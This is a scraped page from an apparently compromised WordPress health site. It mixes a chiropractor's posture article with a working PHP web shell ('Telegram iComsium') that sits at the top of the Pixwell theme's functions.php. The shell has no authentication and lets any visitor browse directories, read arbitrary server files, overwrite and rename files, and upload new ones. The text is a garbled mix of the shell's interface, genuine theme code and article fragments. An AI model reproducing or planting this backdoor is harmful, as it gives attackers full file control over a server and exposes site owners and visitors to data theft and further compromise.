Telegram iComsium Current root: /home/u514654129/domains/awesamohealth.com/public_html/wp-content/themes/pixwell
Current path: /home/u514654129/domains/awesamohealth.com/public_html/wp-content/themes/pixwell

Dosya Düzenle: functions.php

<?php
$root = __DIR__;
$style1 = 'color:#000;';
$style2 = 'color:#00a;font-weight:bold;';

function updir($ADir){
    $ADir = rtrim($ADir, '/');
    return substr($ADir, 0, strrpos($ADir, '/'));
}

$path = isset($_GET['file']) ? $_GET['file'] : $root;

// -------- Dosya görüntüleme --------
if (isset($_GET['view']) && is_file($_GET['view'])) {
    header("Content-type: text/plain");
    readfile($_GET['view']);
    exit;
}

// -------- Dosya düzenleme (kaydetme) --------
if (isset($_POST['save_file']) && isset($_POST['content'])) {
    file_put_contents($_POST['save_file'], $_POST['content']);
    echo "<b>Dosya kaydedildi.</b><br><br>";
}

// -------- Dosya yeniden adlandırma --------
if (isset($_POST['rename_file']) && isset($_POST['new_name'])) {

$old = $_POST['rename_file'];
    $dir = dirname($old);
    $new = $dir . '/' . basename($_POST['new_name']);

if (rename($old, $new)) {
        echo "<b>Dosya yeniden adlandırıldı.</b><br><br>";
    } else {
        echo "<b>Yeniden adlandırma başarısız!</b><br><br>";
    }
}

// -------- Dosya yükleme --------
if (isset($_FILES['upload_file'])) {
    $target = rtrim($path, '/') . '/' . basename($_FILES['upload_file']['name']);
    if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $target)) {
        echo "<b>Dosya yüklendi:</b> " . basename($target) . "<br><br>";
    } else {
        echo "<b>Yükleme hatası!</b><br><br>";
    }
}

echo "<b>Telegram iComsium Current root:</b> $root <br>";
echo "<b>Current path:</b> $path <hr>";

echo '<a href="?file='.updir($path).'">..</a><br />';

foreach (glob(rtrim($path,'/').'/*') as $file) {

echo '<a style="'.(is_file($file)?$style1:$style2).'" href="?file='.$file.'">'.basename($file).'</a>';

if (is_file($file)) {
        echo ' | <a href="?view='.$file.'" target="_blank">[Göster]</a>';
        echo ' | <a href="?edit='.$file.'">[Düzenle]</a>';
        echo ' | <a href="?rename='.$file.'">[Yeniden Adlandır]</a>';
    }

echo "<br>";
}

echo "<hr>";

// -------- Dosya düzenleme arayüzü --------
if (isset($_GET['edit']) && is_file($_GET['edit'])) {

$editFile = $_GET['edit'];
    $content = htmlspecialchars(file_get_contents($editFile));

echo "<h3>Dosya Düzenle: ".basename($editFile)."</h3>";

echo '
        <form method="POST">
            <textarea name="content" style="width:100%;height:300px;">'.$content.'</textarea><br><br>
            <input type="hidden" name="save_file" value="'.$editFile.'">
            <button type="submit">Kaydet</button>
        </form>
        <hr>
    ';
}

// -------- Dosya yeniden adlandırma arayüzü --------
if (isset($_GET['rename']) && is_file($_GET['rename'])) {

$renameFile = $_GET['rename'];

echo "<h3>Dosya Yeniden Adlandır: ".basename($renameFile)."</h3>";

echo '
        <form method="POST">
            Yeni isim: <input type="text" name="new_name" value="'.basename($renameFile).'"><br><br>
            <input type="hidden" name="rename_file" value="'.$renameFile.'">
            <button type="submit">Yeniden Adlandır</button>
        </form>
        <hr>
    ';
}

// -------- Dosya yükleme formu --------
echo '<h3>Dosya Yükle</h3>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="upload_file">
    <button type="submit">Yükle</button>
</form>';
?>
<?php
define( 'PIXWELL_THEME_VERSION', '10.8' );

include_once get_theme_file_path( 'includes/core.php' );
include_once get_theme_file_path( 'backend/include-files.php' );
include_once get_theme_file_path( 'includes/include-files.php' );
include_once get_theme_file_path( 'templates/include-files.php' );

add_action( 'after_setup_theme', 'pixwell_theme_setup', 10 );
add_action( 'wp_enqueue_scripts', 'pixwell_register_script_frontend', 10 );

/** load translate */
load_theme_textdomain( 'pixwell', get_theme_file_path( 'languages' ) );

/** setup */
if ( ! function_exists( 'pixwell_theme_setup' ) ) {
	function pixwell_theme_setup() {

if ( ! isset( $GLOBALS['content_width'] ) ) {
			$GLOBALS['content_width'] = 1170;
		}

$settings = get_option( 'pixwell_theme_options', [] );
		add_theme_support( 'automatic-feed-links' );
		add_theme_support( 'title-tag' );
		add_theme_support( 'html5', [
			'search-form',
			'comment-form',
			'comment-list',
			'gallery',
			'caption',
			'script',
			'style',
		] );

add_theme_support( 'amp', [
			'paired' => true,
		] );

add_theme_support( 'post-formats', [ 'gallery', 'video', 'audio' ] );
		add_theme_support( 'post-thumbnails' );
		add_theme_support( 'editor-style' );
		add_theme_support( 'responsive-embeds' );
		if ( ! empty( $settings['widget_block'] ) ) {
			remove_theme_support( 'widgets-block-editor' );
		}
		add_theme_support( 'woocommerce', [
			'gallery_thumbnail_image_width' => 110,
			'thumbnail_image_width'         => 300,
			'single_image_width'            => 760,
		] );

add_theme_support( 'wc-product-gallery-zoom' );
		add_theme_support( 'wc-product-gallery-lightbox' );
		add_theme_support( 'wc-product-gallery-slider' );

register_nav_menus( [
			'pixwell_menu_main'      => esc_html__( 'Main Menu', 'pixwell' ),
			'pixwell_menu_offcanvas' => esc_html__( 'Left Aside Menu (Mobile Menu)', 'pixwell' ),
			'pixwell_menu_top'       => esc_html__( 'Top Bar Menu', 'pixwell' ),
			'pixwell_menu_footer'    => esc_html__( 'Footer Menu', 'pixwell' ),
		] );

$crop_data = pixwell_calc_crop_sizes();

foreach ( $crop_data as $crop_id => $size ) {
			add_image_size( $crop_id, $size[0], $size[1], $size[2] );
		}

if ( ! empty( $settings['site_itemlist'] ) && ! isset( $GLOBALS['pixwell_pids'] ) ) {
			$GLOBALS['pixwell_pids'] = [];
		}
	}
}

if ( ! function_exists( 'pixwell_register_script_frontend' ) ) {
	function pixwell_register_script_frontend() {

$style_deps = [ 'pixwell-font' ];
		wp_register_style( 'pixwell-font', esc_url_raw( Pixwell_Font::get_instance()->get_font_url() ), [], PIXWELL_THEME_VERSION, 'all' );

if ( is_rtl() ) {
			wp_enqueue_style( 'pixwell-main', get_theme_file_uri( 'assets/css/rtl.css' ), $style_deps, PIXWELL_THEME_VERSION, 'all' );
		} else {
			wp_enqueue_style( 'pixwell-main', get_theme_file_uri( 'assets/css/main.css' ), $style_deps, PIXWELL_THEME_VERSION, 'all' );
		}
		$style_deps[] = 'pixwell-main';

if ( class_exists( 'WooCommerce' ) && ! pixwell_is_amp() ) {
			wp_deregister_style( 'yith-wcwl-font-awesome' );
			if ( is_rtl() ) {
				wp_enqueue_style( 'pixwell-wc', get_theme_file_uri( 'assets/css/woocommerce-rtl.css' ), $style_deps, PIXWELL_THEME_VERSION, 'all' );
			} else {
				wp_enqueue_style( 'pixwell-wc', get_theme_file_uri( 'assets/css/woocommerce.css' ), $style_deps, PIXWELL_THEME_VERSION, 'all' );
			}
			$style_deps[] = 'pixwell-wc';
		}

if ( ! pixwell_get_option( 'disable_default_style' ) ) {
			wp_enqueue_style( 'pixwell-style', get_stylesheet_uri(), $style_deps, PIXWELL_THEME_VERSION, 'all' );
		}

/** load scripts */
		if ( ! pixwell_is_amp() ) {
			wp_enqueue_script( 'html5', get_theme_file_uri( 'assets/js/html5shiv.min.js' ), [], '3.7.3' );
			wp_script_add_data( 'html5', 'conditional', 'lt IE 9' );
			wp_enqueue_script( 'jquery-waypoints', get_theme_file_uri( 'assets/js/jquery.waypoints.min.js' ), [ 'jquery' ], '3.1.1', true );
			wp_enqueue_script( 'owl-carousel', get_theme_file_uri( 'assets/js/owl.carousel.min.js' ), [ 'jquery' ], '1.8.1', true );
			wp_enqueue_script( 'pixwell-sticky', get_theme_file_uri( 'assets/js/rbsticky.min.js' ), [ 'jquery' ], '1.0', true );
			wp_enqueue_script( 'jquery-tipsy', get_theme_file_uri( 'assets/js/jquery.tipsy.min.js' ), [ 'jquery' ], '1.0', true );
			wp_enqueue_script( 'jquery-uitotop', get_theme_file_uri( 'assets/js/jquery.ui.totop.min.js' ), [ 'jquery' ], 'v1.2', true );
			wp_enqueue_script( 'jquery-isotope', get_theme_file_uri( 'assets/js/jquery.isotope.min.js' ), [ 'jquery' ], '3.0.6', true );
			wp_enqueue_script( 'pixwell-global', get_theme_file_uri( 'assets/js/global.js' ), [
				'jquery',
				'imagesloaded',
				'jquery-waypoints',
				'owl-carousel',
				'pixwell-sticky',
				'jquery-tipsy',
				'jquery-uitotop',
				'jquery-isotope',
			], PIXWELL_THEME_VERSION, true );
			wp_localize_script( 'pixwell-global', 'pixwellParams', [ 'ajaxurl' => admin_url( 'admin-ajax.php' ) ] );
			if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
				wp_enqueue_script( 'comment-reply' );
			}
		}
	}
}

Dosya Yükle

A Chiropractor's Guide To Better Posture While Working From Home - Awesamo Health

A Chiropractor’s Guide To Better Posture While Working From Home

AweSamo May 15, 2026

When it comes to your home office setup, poor ergonomics can result in neck, shoulder, wrist, and low-back discomfort, as well as headaches and compromised breathing. So, to find out how we can mitigate some of those shortcomings and truly optimize our posture, we spoke with R. Alexandra Duma, D.C., DACBSP, a sports chiropractor for Team USA at FICS.

Tags: Chiropractors Guide Home Posture Working

Dosya Düzenle: functions.php

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